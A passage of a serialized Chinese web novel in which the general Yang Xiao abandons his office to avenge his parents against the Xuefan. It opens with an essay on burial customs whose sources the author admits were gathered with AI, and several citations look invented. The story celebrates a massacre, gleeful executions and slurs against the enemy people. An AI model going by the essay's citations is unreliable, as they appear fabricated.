清代学者俞樾在《右台仙馆笔记》中记述过一桩惨事:徽州吴氏女因夫家拖延丘葬,棺椁在义庄停厝二十余年,最终族人竟将其尸骨迁至“女坟滩“——专门收容无主女魂的乱葬岗。这赤裸裸展现着旧时女子的终极困境:生时是“未嫁从父,既嫁从夫”的附庸,死后若不得夫家接纳,连尸骨都成无根浮萍。 这种残酷现实在墓葬形制上亦有印证:考古发现宋代女性墓志常以“某郡某氏”模糊名讳,而明代山西常氏宗族墓地中,十三座丘葬女棺竟无一座刻有全名。更令人唏嘘的是《清稗类钞》所载“借穴葬”风俗——某些宗族允许改嫁寡妇与前夫合葬,条件是其棺椁必须侧置且低于后娶正室,这般安排恰似幽冥世界的“妻妾尊卑图”。 所幸礼法严苛处亦有人性微芒。元杂剧《窦娥冤》中,窦娥临刑前发下三桩誓愿,其中“要丈二白练悬于旗枪”正是为证清白以待与亡夫同穴。而敦煌出土的唐代《女人社约》中,竟有“社人亡故,众助粟五斗以营葬”的条款,展现民间女性自发结社突破礼教束缚的努力。最动人的当属福建客家“等郎妹”风俗:自幼被夫家收养的女孩若未及成婚先逝,族人会将其梳起妇人发髻,以“丘”葬之礼待其“丈夫”长大完婚,虽悖人伦却饱含温情。 正如钱钟书在《管锥编》中所言:“丧葬者,生者寄哀之具,亦时代精神之镜。”那些静默的丘坟,那些崖洞中的悬棺,既是封建枷锁的见证,也凝结着先民对生死团聚的执着想象。当我们在博物馆看见出土的宋代“合穴葬”双棺——两具遗骸手指相扣处系着褪色的红绳,或许能读懂《长恨歌》“在地愿为连理枝”的真正重量:那不仅是爱情誓言,更是一个族群穿越生死的精神图腾。 ……好吧,本棍承认是在水字数。这些记载都是我用ai从网上找来的(捂脸)。不过啰嗦了这么多其实是想向大家说明丧葬制度在生活中的重要性。现今社会,人们生活在钢筋混凝土浇筑成的丛林中苦苦挣扎,疲于应付,对于丧葬的观念早已发生了巨大的改变。可不论如何变化都不能否定它的重要性,必经:国之大事在祀与戎。这其中的祀就包括了丧葬制度,而且占据了很重要的一部分。 好了,咱们言归正传。 且说杨笑看过了亡妻之后,便在姐姐的带领下向后山的矿场和铸造兵器铠甲的工坊而去。 从黑虎山上向下望去,山脚下原本的荒地早已变了模样,再也不是那副荒草丛生,乱石成堆的画面。 那黑虎山后如今到底变成了什么模样呢?欲知后事如何,且听下回分解。 第一百六十五回 国仇难报报家仇 从黑虎山上向下望去,山脚下原本的荒地早已变了模样。 矿口处人来人往,进进出出,牲口和绞盘不停的将矿石从矿洞里运出来,矿场上堆满了赭红色的铁矿石,又有人不断的将矿石运往不远处的炉口。在那里,有人负责破碎筛选,有人负责将筛选好的精矿粉倒入煅烧的火炉,火炉下的出铁口不断的有红彤彤的炽热铁水流出来。又有工人将铁水灌入不同的模具,将其铸成需要的模样,然后便送入相应的工坊进行下一步的锻打和铸造。经过一道道繁复的工序后,一件件锋利的兵器和坚固的铠甲便源源不断的制造了出来。 杨笑在杨落儿的带领下一步一步的巡视了一下来。 “每天都要处理如此繁琐的事情,当真是辛苦姐姐了。” 杨落儿莞尔一笑:“这么多的事情哪能每一件都要我亲力亲为,那还不我给累坏了。我不过是远远的说几句话,时不时的查一查帐目什么的,都是王伯带着一帮子大小管事们在忙活。” 杨落儿刚说完便见王伯走了过来,躬身道:“小姐,少爷,各处的大小管事都到齐了,还请小姐吩咐。” 杨落儿笑道:“瞧瞧,真是不经念叨,才刚说到您,您老人家就到了。王伯,笑儿正说您老人家辛苦呢,改天让他陪您好好喝一杯。” 王伯也笑着回道:“哎呦!那可要多谢少爷。少爷过奖了,这都是老奴的本份。” “快走吧,别耽误了午饭,一会儿姐姐亲自下厨给你炒几个小菜。王伯,记得叫上王婶带着大勇都过来,今天是咱们家的家宴。” 杨落儿说完率先走了出去。 杨笑也放下手里的长剑跟了上去。 王伯则乐呵呵的跟在后面。 工坊与仓库间的一处小院内。 这里是协调整个矿场和铸造工坊运作的地方,上千号人马能够正常运转,全赖这个小院里发出的一条条指令来指挥调度。 此时正有二三十号人等在这里,这些人就是矿场和工坊的各处大小管事。 见到杨落儿三人走进小院的院门,众人纷纷下拜行礼:“见过将军大人,见过小姐。” 刚进门的杨笑听到众人先向自己见礼,于是神情一愣,停下了脚步。 自从自己不再担任督造校尉一职后已经许久不曾来过这边了,矿场和工坊一直都是姐姐在管理,这些人里有大半也是没有见过自己的,别处的规矩不知道,但在这虎威山庄……。 前边的杨落儿察觉到杨笑停下了脚步也止步转身问道:“嗯?怎么了?” 旁边的王伯发现杨笑的神情后清了清嗓子道:“在咱们杨家一切都是以小姐为主,都听明白了吗?” 众人于是又齐声应道:“是。见过小姐,见过将军大人。” 杨落儿神情有些无奈的白了自家兄弟一眼:恁的事多。 伸手拉住了杨笑往前走去。 杨落儿从众人身前走过,抬脚迈上小院正屋的台阶,转身道:“都起来吧。” 众人于是又纷纷应声起身:“谢小姐。” “想必你们也都听说了,陛下御驾亲征,前些日子已经大胜而归。” 前些天就有这方面的消息在矿场上流传开了,听说县城那边还贴出了告示。尽管这件事大家早就已经知道了,但那也只是听说,除了那几个经常进城采买的管事之外,还没有人见到过那份官府的告示,现在由杨落儿当众宣布出来,还是引得众人在下面窃窃私语,议论纷纷。 杨落儿接着说道:“还有一件事你们可能还不知道,不过现在告诉你们也无妨,反正这件事在军营里早就是人尽皆知了,过不了几天陛下还会昭告天下。那就是我家兄弟在战场上生擒了鞑靼们的大可汗,砍下他的头颅悬于中军大营,此等功绩不但是我大周来开国以来未有,更是数千年之未有。” 众人闻言哗然,在下面不住的交头接耳,场面一时间有些嘈杂起来,就在这时不知道是谁在人群中喊了一声“大将军威武!”于是“大将军威武”之声不绝于耳。 待到众人有所平静之后杨笑上前一步说道:“此战全赖陛下用兵如神,将士们奋勇杀敌还有百姓们的鼎力相助,才能够反败为胜,所以,在场诸位都有一份功劳……。” 不等杨笑说下去,下面的人就又开始山呼“将军威武”了,当真是群情高涨。 杨笑抬手示意大家稍事安静,好不容易才让众人安静了下来,但这一闹也把杨笑本来要讲的话就给打乱了,弄的杨笑一时间也不知该从何说起。就在他正酝酿着要怎么说的时候,只见一位异服老者上前一步道:“承蒙将军大恩,救小老儿部落于水火,还没能向将军表达心意,不知道将军什么时候能驾临寒舍,……也好让小老儿代替部落里的老老少少,好好感谢感谢将军呐。” 这异装老者不是别人,正是当初杨笑从西南百族中请来帮自己铸造兵器铠甲的那个小部落的族长。部落很小,若是放在西梁城周边,也就勉强算一个大一点的村子。这部族自称若羌族,祖祖辈辈靠着铸造的手艺讨一份生计。由于部族实在是太小,在西南百族中都不配有名字的那种,人少就免不了被大部族欺负,日子过的也有点苦,因此便被杨笑打着西梁王的旗号给招揽了过来,举族搬到了西梁境。 杨笑见是老族长,便走下台阶上前抓住老族长的手道:“老族长客气了,这几年也实在是忙,没能到村子里跟大家好好的见个面,聚一聚。明天,明天我一定到村子里看望大家。” 周围的大小管事见老族长这么容易就请到了杨笑,如今的杨笑那可是当朝驸马,御前的红人,正二品的大将军,谁个不想套套近乎?于是也全都闹着想要请杨笑到家中坐坐,杨笑一一应着,众人无不满意而归。 午饭的时候,杨虎,杨豹二位堂叔带着一家人都来山庄里团聚。杨虎家里几个大一点的儿女如今都长高了许多,已然不是当初稚嫩的少年幼女,男的习文练武,女的已然初露令人见之心喜的娇好容貌。 杨虎的妻子吕氏一手拉着一个虎头虎脑的小子,正是她与杨虎的小妾所生。两个小家伙儿拉着吕氏的手,走起路来歪歪扭扭的,一个不小心还要摔一跤。别看摔的一身是土,脑门儿上还顶着一个包,就这样也不愿意让抱,还在使劲儿拽着吕氏的手往前够着走。 杨豹的妻子唐氏身后三个妇人装扮的年轻女子,正是唐氏给丈夫纳的偏房刘氏和两个从侄女杨落儿这边要来的暖床丫鬟。四个人怀里各抱了一个孩子,两个番族的暖床丫鬟各生了一个,而刘氏更是给杨豹添了一对龙凤胎。 一下子得了三男一女,杨豹的嘴都要咧到后脑勺了。至于在战场上受的伤?早被他丢到脑后了。 兄弟两个出征时家中的妻妾有挺着肚子的,有还不显怀的,等从战场上回来的时候,稍大一点的孩子已经快学会走路了。 杨落儿连忙张落两个婶子落坐。说话间把吕氏手里的一个小子抱起来逗弄道:“呦呦呦,小胖丁,又摔了一个包呀?姐姐看看,疼不疼?疼不疼?。” 小名叫个“胖丁”的小子从杨落儿怀里挣着要下来,杨落儿就把他轻轻地放在了地上,小胖丁立刻化身平地“大鲤鱼”,出溜出溜的就爬到了桌子底下。 吕氏说道:“别管他,让他爬吧。” 杨落儿:“婶子,还没给孩子起名字呢?” 吕氏嗨了一声回道:“没呢。这不是等你叔叔回来给孩子起名字嘛。谁知道一回来忙的连个人都抓不着。” “不说他了,笑儿呢?” “他还在书房,马上就过来了。” 一提起杨笑吕氏就不由得想起了五公主,于是顺着嘴便叹道:“你说笑儿这孩子的命怎么这么苦呢……。” 唐氏连忙在桌子下面拿脚碰了碰吕氏的腿,还一个劲儿的向她摆手递眼色。吕氏立刻反应了过来,赶忙改口道:“不如落侄女儿你来给两个孩子起个名字吧?” “我给孩子们起名字合适吗?再说我也没有读过几本书。” 杨豹这时在一旁叫道:“大哥的孩子我做不了主,你二叔我满打满算认不了几个字,你二叔跟前的四个孩子就麻烦你了啊落侄女儿?” 杨落儿笑道:“二叔你怎么也跟起哄?你不会,婶子也不会吗?” “诶,都问问,都想想呗!多想几个,挑也能挑几个好的,反正我一个大老粗也不会。” 杨落儿推脱道:“二叔,关键是我也不会啊!要不您一会儿问问您大侄子?” 杨豹一拍桌子,竖起大拇指叫道:“诶!这个好。让笑儿给起名字,沾沾我大侄子的英雄气,将来也像我大侄子一样当一个万夫难挡的大将军!” 唐氏在一边埋怨道:“大嫂,你俩差不多得了啊,哪有起名字问孩子哥哥姐姐的?” 几个人正说笑间杨笑跨过门槛走了进来:“叔叔婶婶这是说什么呢,这么高兴?” 吕氏道:“在商量着让你们姐弟俩给弟弟妹妹们起名字呢。” 杨笑回道:“婶婶不要难为我了,我哪里会给孩子起名字,再说也不合适呀。” 吕氏又说道:“有什么不合适的?自家的孩子愿意让谁起就让谁起。” 杨落儿笑道:“二叔要沾你的英雄气呢。” 杨笑无奈道:“我有什么英雄气,二叔你自己的英雄气还少啊?再说了,起名字不得先请先生给算算孩子的五行命格吗?” 说话间杨笑已寻了个座位坐了下来。岂料刚坐下就有一名侍卫在门外手持信笺禀告道:“将军,有西梁城来的密信。” 杨笑接过信笺拆开来看了里面的内容,脸色渐渐地变的难看了起来。众人见状便问道:“怎么了?可是发生了什么事?” 杨笑扫视屋内一圈,屋内的仆人便立刻退了出去,几个偏房妾室也很知趣的带着孩子们离开了屋子。 很快屋内就只有杨笑姐弟和叔婶们五个人了,杨笑这才把那封信放在桌上让几个人都看了看。原来那信上写的是关于雪番族的事情。 “番族求和来了,这个时候人已经快到西梁城了。”杨笑说道。 杨豹放下信,他有点琢磨不透这其中的道理:“愿意称臣纳贡?这番族怎么突然就突然转性了?咝,这葫芦里到底卖的什么药?” 杨笑瞟了一眼二叔叔投来的目光,又看了看其余三人一样困惑的表情。 杨落儿问道:“这样一来咱们大周是不是就不能动他们了?” 杨笑回道:“如果陛下接受他们求和的话……那就是这样了,最起码短期内是这样的。” “短期内?有多短?” “大概……几十年左右吧?” 唐氏:“这一仗打死了那么多人,这仇就不报了?陛下能答应他们吗?就这么么甘心放过他们吗?” 杨笑:“从信上的内容来看,番族人把姿态放的很低,咱们大周自身的境况也不是很乐观,如果条件都能满足的情况下,我想陛下是会做出让步的。” 尽管已经预料到了那个答案,可当杨笑说出口的那一刻杨落儿的心里还是少不了“咯噔”一下,只见她怯生生地问道:“那是不是咱家的仇……也不能报了?” 两国交兵从来就不是什么小事,她也知道一旦朝庭接受求和的话一切就再也没有希望了,必经人又能有几个几十年呢?可谁叫她只是一个弱女子呢?她只知道每天守着家,守着自己的弟弟,那些国家大义对她来说还是有些太远了,就算知道其中利害那又怎么样?她自己的家对自己最重要,所以她脱口而出问的就是自家的仇还能不能报。 杨笑在屋里来回的踱着步子,他的心里不住的回想着望州城里的一幕幕,想着想着就又想到了母亲惨死时的样子。有道是父母之仇不共戴天,今时今日他绝对不允许“杀母劫父”的仇人还能逍遥于世上。于是他把拳头往桌上一砸,目赤狰狞,咬牙切齿,恨恨地道:“国仇难报,那我就报家仇!” 预知后事如何,且听下回分解! 第一百六十六回 封金挂印 上一回说到杨笑在家中得知番族遣人前来求和,姐姐的一句“咱家的仇还能报吗?”让杨笑怒火中烧,只见他把桌子一拍恨恨道:“既然国仇难报那我就报家仇!” 杨豹见状立刻制止道:“笑侄子,不可乱来!” 杨落儿也立刻意识到自己说了不该说的话,也连忙抓住杨笑的胳膊求道:“笑儿,万万不可鲁莽,你如今身份不是一般,一举一动代表的可不仅仅是你自己,千万不能铸成大错。咱们家好不容易才稳定下来,你可千万不能有什么事。” 两个婶婶也上前劝解。 杨笑看了看姐姐,又看看叔叔婶婶们。他拍了拍姐姐的手:“姐姐不必为我担心。身份又算得了什么,大丈夫身于天地之间,若是父母之仇都不能报的话,就算拥有再多又如何?”言罢不顾众人阻拦大踏步而去。 唐氏喊着杨笑的名字追出门外,见拦不住杨笑,便折回屋里捶打着丈夫的胳膊埋怨道:“你坐在这儿干嘛呢,你是死人啊,你怎么不拦着他?” 杨豹又气又急又无奈:“你看看我这一条腿追得上,拦得住吗?” 一句话把唐氏堵的只能坐在一边生闷气。 杨豹安慰众人道:“先不要急,我马上修书一封给大哥,让他去找刺史大人,定能把他拦住。” 这一边杨笑出门便喝了一声“亲卫何在!?” 门外两名亲兵侍卫立刻应道:“将军!” “传我将令,所有亲卫立刻集合!” 两侍卫立刻领命而去。 杨笑又将家中仆人唤来,命他们将这些年陛下赏赐的所有物品全部抬到书房。 很快,所有的亲卫在校场集结完毕。仆人们也把山庄里朝庭赏赐的东西全都抬到了书房门外,就连御赐的匾额都摘了过来。 杨笑着甲挎刀,将面前的亲卫们审视一圈后说道:“本将军此去番族乃是报私仇,此去定然被朝庭制罪,有不想去的现在就可以去帐房领一笔赏金离开,本将军绝不怪罪。” 众亲卫齐呼:“誓死追随将军!” “好!此行若能平安归来,本将军必然重重有赏。” 杨笑说罢取来一块黄布把那枚大将军印用布包了挂在门梁上,然后朝西梁城的方向拜了一拜,转身绝然道:“出发!” 两百亲卫齐齐上马,在杨笑的带领下直奔边境而去。 就在杨笑带了两百亲兵侍卫离了山庄直往番族而去的同时,杨豹连忙写下一封书信,叫了一个干练的家奴骑了快马急急往贡州城赶去,并叮嘱那家奴若是在贡州城大老爷的府上找不见他就直接去刺史府找刺史大人。 只说杨笑带着亲卫一路向西,刚过了贡州城没走多远就被一队人马从后面追了上来。 来的正是贡州刺史李伯通和堂叔杨虎。 只见李伯通追上来拦住杨笑的去路拱手拜道:“李伯通见过将军……。” 不等李伯通说完杨笑便直接直接打断道:“李将军不必多说,印信官服已被我留下还了朝庭,我也不再是什么将军了。此去乃是报我杨家的私仇,所有后果我一力承担,一切都与朝庭无关。” 李伯通问道:“非去不可吗?” “父母之仇,不共戴天!” “当真只是私仇?” 杨笑顿了顿指着胸口道:“……望山城里的三十万冤魂堵在这里,不去我咽不下这口气啊!” 李伯通闻言点点头,拱手道:“好吧,李伯通明白将军的意思了,将军大义我自愧不如,这便不再多言,但我身后这百余名私兵亲卫还望将军能够带上,以表李某对望山城百姓的一片心意。” 杨笑深深地望着李伯通拱手不言。遂既对杨虎道:“若侄儿此番一去不回,还望堂叔好生照顾我姐姐。” 杨虎有心劝杨笑不要去,可张张嘴又不知道该说什么,最后也只有重重点头。 三人拱手作别,杨笑带领一干亲卫催马远去。 又行数日。这一天临近傍晚时来到一处小镇,这里离边境已然不远,一众人在小镇外埋锅造饭,饮马填料。人马都填饱肚子后就在这里裹了毛毡席地而眠。 镇子外突然来了一群大兵,个个挚枪挎刀还骑着马,更有一头黢黑猛虎威风无比,那虎上之人威风凛凛,丰神俊朗,虽说这两年兵荒马乱的,来来去去的军队也没少见,可这只装备精良的骑兵又怎么能不引起了大家的注意。天刚亮时,亲卫们还没有收拾完行装就有一群民夫围了过来。 “敢问那着玄甲骑黑虎的可是虎威将军?”民夫里为首一人问道。 杨笑来到众人跟前拱手见礼道:“正是杨笑。敢问老哥可是有什么事?” 那汉子又说道:“果然是杨将军。将军这是要去哪里?要是方便的话希望将军能跟我们说一说。” “番族。” “是朝庭要对那番狗用兵了吗?” 杨笑摇摇头:“让老哥们失望了,杨笑此去乃是个家私事。” 那汉子闻言眼中闪过一丝失望的神色:“不瞒将军,我们都是望山府人氏,自从那番狗过境后一家老小全都惨死,我们逃到这里后就天天盼着朝庭什么时候能替我们这些老百姓报仇雪恨。将军您位高权重,要是有这方面消息的话还希望能告诉我们一声,也好让我们心里面有个盼头。” 杨笑望着那一道道热切期盼的眼神,心中也是不忍,只好说道:“那番狗作恶多端,朝庭必然不会放过他们的,只是眼下朝庭也是有苦难言,恐怕一时半会儿也抽不出手来教训那些番狗,不过大家放心,相信用不了几年,等朝庭准备好以后一定不会轻饶了那些番狗的。” 就在这时只听一阵马蹄声传来,杨笑转头看时见是王大勇追了上来。 王大勇跳下马背跑到杨笑跟前抓住他的手臂跪在地上央告道:“少爷,你要去找那群番狗报仇怎么也不等我回来?老爷小姐对我不薄,我爹也常在我耳朵边念叨,叫我无论如何不能忘了老爷的恩情,不能忘了咱家的仇。你怎么一声不吭就扔下我,自己就要去找那帮畜牲报仇?” 杨笑扶起王大勇说道:“你家里就你自己,王伯王婶还要你照顾呢。” 王大勇回道:“我爹是只有我一个,可少爷你不也是家里的独苗吗?你都不怕,我王大勇贱命一条又有什么好怕的?我都听小姐说了,朝庭没能耐给咱们老百姓报仇,还不兴咱自己报自己家的仇吗?少爷你不用劝我,我是一定要跟着你去的。” 这一通话说下来,围在旁边的一众民夫们还能不知道是怎么一回事吗?一个个的全都跪下来求着杨笑带他们去报仇。 杨笑见怎么劝都没有用,也只好答应了下来。众人闻言无不欢喜雀跃,奔走相告。这样一来,杨将军要去番族报仇的事情便不径而走了,等杨笑一路走到番族边境的时候已经聚起了一支八百余人的队伍。这些人有普通的民夫,有曾经的军中老卒,有衙门里的衙役,甚至有听到消息后专门赶来的军卒。 …… 山坡上一杆旗帜迎风招展,远远望去,那旗帜在阵阵山风的吹抚下似有咧咧之声传来。旗杆下是一片简陋的房屋,还有两座了望台,那是西梁军在边境上的一处营地。翻过眼前的这片山坡再往前没多远就是雪番族的领地了。 回想起当初刚到边重境时所经历的种种,一切都仿佛昨日一般历历在目;再想起当初从家乡山阴县来西粱途中所见所遇,有些事物记忆犹新,有些事物似乎又有些模糊不清;又想起小时候家中的千般疼万般爱,那时的生活真是要多甜有多甜;接着便想起了父母的惨死,转而又想起了望山城中一城百姓惨死的样子,那一具具尸体和头颅堆积而成的京观,一双双空洞的眼眸仿佛在不停的说着:“我死的好惨啊!那把刀砍下来真的好痛啊!你什么时候能为我报仇啊……!?” “将军,有一队人马往这边来了。”待卫来报。 杨笑退出思绪,收回目光:“是什么人?” “好像是宫中来的官吏。” 杨笑转头望去,只见一名年轻的官员策马而来。待到临近队伍,那官员撇下随行人员穿过队伍来到杨笑跟前拜道:“下官符宝朗宋承见过杨将军。” 杨笑回道:“我已经不是什么将军了,你也不用拜我。” 宋承起身:“杨将军说笑了”说着转身接过随从递来的托盘,掀开黄布,托盘上是一件朝服,一方印章“陛下听闻将军愤而辞行自往番族而来,不但不怪罪,返而降旨为将军官升一品。这是御赐的朝服印信。还望将军能以大局为重,暂且放下私怨。陛下说了,一切都是陛下考虑不周,还望将军不要心生芥蒂。” 杨笑目光冰冷,面无表情。伸出长枪挑起那件代表着位极人臣的华贵朝服,冷冰冰地说道:“真当杨某是为那一己私怨么?”说完将那朝服抖落在地。那符宝郎见状大惊失色,刚要开口却听杨笑说道:“你现在应该在五十里之外的普宁县城!” 杨笑说完转身便走。 那符宝郎欲要追上前去阻拦,却被亲卫们一边一个按在地上动弹不得,符宝郎只得在地上大声呼喊:“将军三思啊!” 杨笑此去如何?那雪番族又将掀起怎样的腥风血雨?欲知后事如向,且听下回分解! 第一百六十七回 八佰壮士报血仇 上一回说道到杨笑将那华贵朝服抖落在在地,冷冰冰地丢下一句“你现在应该在五十里之外的普宁县城”后转身离去。 却说那雪番族的境内崇山林立,峻岭节次,座座雪山排列其中,当真是每行一步都是一夫当关,万夫莫开的险峻地形,也正是这种苦寒险峻之地才让雪番族在一处处四季如春的山谷中以并不强大的实力繁衍存在了千万年,并孕育出了彪悍坚韧的民族风格。 只不过再优秀的文明也抵挡不住骄奢淫逸,腐败成风的侵蚀,到最后落得个人心涣散的结局,任由堕落的统治阶层带着曾经辉煌灿烂的王朝一步步走向衰败,直到被燎原的野火烧个干净。之后要么在旧王朝的废墟上重建辉煌,要么从此消失在历史的长河里。而此时的雪番族就处在这样一个滑向谷底的过程中。 只是苦了百姓。 此时的雪番族王宫内正上演着一片歌舞升平,斛光交错的奢靡场景。 摇曳的烛光酒遍大殿的每一个角落,雕花描金的桌案上摆满稀世的珍馐,金杯银盏盛满醉人的美酒碰出清脆的声响。乐师演奏的美妙的乐章中,薄纱遮体,香肉半露的舞姬们赤脚踩在柔软的地毯上,扭动着旖旎的弧线。香炉中袅袅青烟混着酒气蒸腾,老爷们一手举着酒杯,一手不忘探入怀中美人儿的领口,嘴里还在欢快的叫喊着。 舞乐声中一个仆人从后门进大殿,在番族大王的耳边说了些什么,番族大王脸色微变,疑惑道:“什么?快去传信给派遣到西梁的使者,问一问到底是怎么回事。” 那仆人抚胸弯腰恭恭敬敬的退了出去。 殿下一人见状,便问道:“大王,是什么事呀?” 番王回道:“啊,无关紧要,大家继续畅饮。” 西梁城内,武昭高坐龙椅,合上了使族使者呈上来的国书,身后的宦官立刻将国书恭敬的接了过来。 武昭:“番使不必着急,尽管在驿馆好生歇息,待朕与诸位大臣商议妥当后自会给你一个满意的答复。“ 那番使无奈,只得告退一声悻悻而归。 武昭往后靠了靠身子,暗暗地叹了口气,心道:“希望那孩子不要让朕太过失望。” …… 再说那杨笑带领着八百士卒一路翻山越岭,进了番族地界后很快就遇到了番兵设在边境上的一处哨卡。 像这样的哨卡里一般只有三五名番兵轮流放哨,见到山下来了这么多西梁军便喊话阻止。杨笑哪管那番兵喊的什么,取过弓箭一箭便将那人射死。其余几个番兵一看这阵势,立刻点燃烽火,然后头也不回地往山后的军寨里逃去。杨笑也懒得理会那些番兵,由着他们点燃烽火后逃之夭夭。 转过山头便看见一座番军的军寨,里面的番兵们早已严阵已待,看到有西梁军过来立刻张弓搭箭,打算随时给这帮西梁军一点好看。 杨笑二话不说直接单骑破阵。 只见他双腿轻轻一夹胯下坐骑,小黑便猛然跃出往那番军的军寨而去。 那番兵的首领见杨笑一人一虎直接就冲了过来,立刻命令放箭。一时间箭失破空之声不断响起。 上百只羽箭雨点般噼里啪啦地落下来,只是都被小黑几个跳跌腾挪躲避开来。 当真是“片羽不沾身”。 以小黑的速度,只是几个轻轻地跳跃便已来到军寨的寨墙之下,再轻轻一跃便蹬上了墙头。 番兵们大惊失色,慌忙应对,却被杨笑一个冲杀便将那军寨首领的头颅摘在了手中。 有两个番兵还被小黑按在爪下一口咬成了两半。 嗯!这番族人吃起来也是嘎嘣脆。 身后八百士卒见杨笑一战成功立刻冲杀进军寨,番兵们见状立刻降的降,逃的逃。 八百兵马不做停留,一把火烧了军寨,继续往上路。 再行二十余里,在山谷里见一村庄,村子不大,约有百十来户人家,此时血村里的人早已望风而逃。 一行人继续前进,再走小半天,又经过了两个逃的空无一人的村庄后就遇上了一个不算大的城堡。 这里是一座用来屯军的边境小城,城堡里的人也早已严阵感以待。 见来者果然是一骑黑虎之人,城堡守将便用番族语言高声叫道:“可是西梁军的杨笑?” 杨笑回道:“正是杨某。既然知道,还不速速跪降!” 那守将哈哈大笑:“都说你是神兵天降,谪仙下凡,我看不过如此。想让我跪地求饶,先破了我的城池再说。不过要是被我抓到了……哼哼……必然要请杨大将军好好的品尝一下我这人中黄白之物,哈哈哈……。“ 那守将拍着肚子说道。 说完与身边的下属们一起大笑不已,只是笑声未落就见一道黑影已经临近城下,那番军守将慌忙命令放箭。 哪里能够射中? 连杨笑的衣角都没能捞到一点。 杨笑冲至城墙下,从小黑身上纵身一跃,飞身已起,箭失一般射向城门。只一脚便将那扇巨大的城门踹出一个一人高的大洞,连同顶门的木杠都给踹成了两截。 飞溅的木片将门后的番兵们打倒一片,一个个躺在地上衰嚎着。随后那扇被破损的城门便轰然倒地,扬起一片尘土。 很快那些惊恐中的番兵便看见一尊杀神从云雾般的尘土中一步一步走了出来。有几个胆子大的竟然还敢冲上去挥刀砍杀,都被杨笑一枪一个给穿在上成串儿挑在空中。 被吓坏了的番军哪里还敢应战。 八百西梁军从破开的城门蜂拥而入,跟在杨笑身后,在城中展开了一场屠杀。 当那个刚刚还在不可一世的番军守将被押到杨笑跟前时,杨笑只是谈淡的说了一句:“让这位将军大人吃饱了再上路。” 然后那守将和他的下属们便被溺死在了粪坑里。 当然,死之前在里面吃的很饱。 接下来杨笑带着八百兵马饿了就在马背上吃点干粮,渴了就拿起水囊喝个够,水囊里没水了就在路边接点山泉水。 一路上连破三关十八寨。 有了前车之鉴,之后的城寨要么早早的逃个干净,要么早早的出城投降以救保命。 杨笑也不是那滥杀之人,只要不曾在西梁造下杀孽,便放其自行离去,若是被查出手上沾了西梁百姓鲜血的,自然是一个不留。 杨笑连破三关十八寨的消息很快就传到了番族大王的耳朵里。 番族大王连忙招集各大部落首领商议此事。 “那西梁杨笑只带八百余人便连破主要关隘三处,大小屯军城寨一十八处,诸位首领有何看法呀?” 一名首领起身道:“我们不是已经派遣使者向大周皇帝请和了吗?那大周的皇帝怎么还要派兵打我们呢?” 又一名首领说道:“听说只有八百西梁兵,那大周的重帝要打我们也不会只派这区区八百人吧?咱们的兵将们都是饭桶吗,连这八百人都挡不住?” “我听说来的人是西梁的虎威将军杨笑,从目前的消息来看,那杨笑是异人无疑,这样的活他连破三关十八寨也说得过去了。”又一首领说道。 “异人?那我们的异人在又在哪里?为什么这么久了都没有一点他们的消息?”先前的首领又说道。 “特玛首领,你急什么?那些异人又不是今天才消失的,你在这里吼又有什么用。”在其对面的一位首领不满道。 “他特玛真镶当然急了,谁让他在西梁杀了那么多人呢。”一位首领幸灾乐祸道。 “你……。” 特妈真镶怒目而视,刚要开口说话就被番王打断道:“好了,好了,都不要吵。特玛首领,我知道你很意,但你先不要急。那杨笑接下来就要到镇天关了,从镇天关到这里可没有什么关隘能挡住地,大家还是好好角量商量,该怎么解决这件事情吧。” 有首领问道:“大王,咱们派去的使者是怎么说的?” 番王摇摇头:“我还没有收到使者的回信。” “贡喀首领,使者是从你们部落派出去的,你们贡喀部落离西梁也最近,你那边有没有什么消息啊?”一名花白胡须的老首领问道。 贡喀首领回道:“……据我所知,那杨笑与我族似有私仇,这次兴兵而来……似乎也是为了报什么仇,只是具体的就不得而知啦!” “原来是为了报仇啊。那这就好办了,我们只要把特玛首领交出去,一切不就迎刃而解了吗?”贡喀首领身旁边的雄鹰首领说道。 “嗯!我也觉得这是个好办法。”贡喀首领附和道。 特玛真镶怒不可遏:“你们两个……谁不知道你们两家是穿一条裤子的。故意在这里搞我是吧?” “呦!特玛首领这是说哪里话,你在西梁杀人枪东西的时侯怎么不想一想呢?” “就是,自己惹下的事现在又不想认了。” 特玛部落在西梁的所作所为差点让他们的儿女死在西梁城,贡喀与雄鹰两家自然对特玛部落不满,而其余的部落首领们见他们三家吵起来也乐得在旁边看热闹。 各家首领的表现把番王气的直拍桌子:“行了行了!吵什么?都吵什么!?” 见番王生气,场面这才安静下来。 番王环视一周,见众人全都低头不语便道:“你们都随我到镇天关。那杨笑既是为寻仇而来,那咱们就都把话说开了,有仇的报仇,有怨的报怨不就没事了吗?” 众首领都点头附和,只有特玛首领不高兴:“大王,我特玛部落可都是为了我族的繁荣啊,何况那些战利品我特玛部落也没有独吞啊!” 番王摆手道:“好了好了,不会让你有事的。” 于是众首领纷纷起身跟随番王往镇天关而去。 镇天关,关如其名。高处天际之上,隐于云雾之间。站在山下跟本看不到城楼关墙,只有一条蜿蜒道路通到城之前。 众人延路而上,走了好半天才看到那高高的城墙。 有人埋怨道:“以这帮番狗反复横跳的小人行径,要不是有重重关隘阻挡,这里又是一片穷山恶水之地的鸡肋之地,只怕早就被人灭族了。“ 杨笑来到城墙下抬头望去,只见城头上人影慌乱,杨笑高声道:“西梁杨笑至此,守将何在,还不速速出城投降?” 只听城头上有人回道:“将军莫急,我家大王已恭候多时。将军稍候,这便开城门。” 不一时,城门大开,只见一队身着皮甲的番兵小跑而出,在城门外分成两列站定,弓箭手在前,刀斧手在后。一个个器宇轩昂,威风凛凛。再后面,番王面带笑容,带领一众部落首领而来。 “啊,杨将军大驾光临,本王有失远迎,赎罪,赎罪。” 那番王拱手上前说道。 杨笑不动声色,拱手回礼:“大王言重了。” 那番王又道:“将军此行我已略知一二,但有所需尽管说来,哪里劳苦将军大动干戈?” “哦?大王此话怎讲?” 番王伸手引道:“将军请移步关内,本王已备下酒宴,咱们坐下来慢慢聊。” 杨笑往番王身后扫了一眼,应道:“既然大王如此盛情,那杨某恭敬不如从命了。” 大殿内,番王,杨笑,各部首领纷纷入席。 潘王面含笑容,抬起双手,连连请众人落坐。 众首领谢过番王,杨笑也抱拳向番王致谢,却在这时抬头便看见了番王身后一人。 那人身形魁梧,着皮甲,挎弯刀,中年面容,浓眉大眼,长花脸。 虽说已经过了十年之久,杨笑那人也不再是当年的年轻样貌,但杨笑还是一眼就认了出来----正是当年带兵在三青镇烧杀抢掠,杀母劫父之人。 正所谓:父母之仇、不共戴天! 此种深仇大恨,对仇人的印象,真真的是“化成灰也认得”。 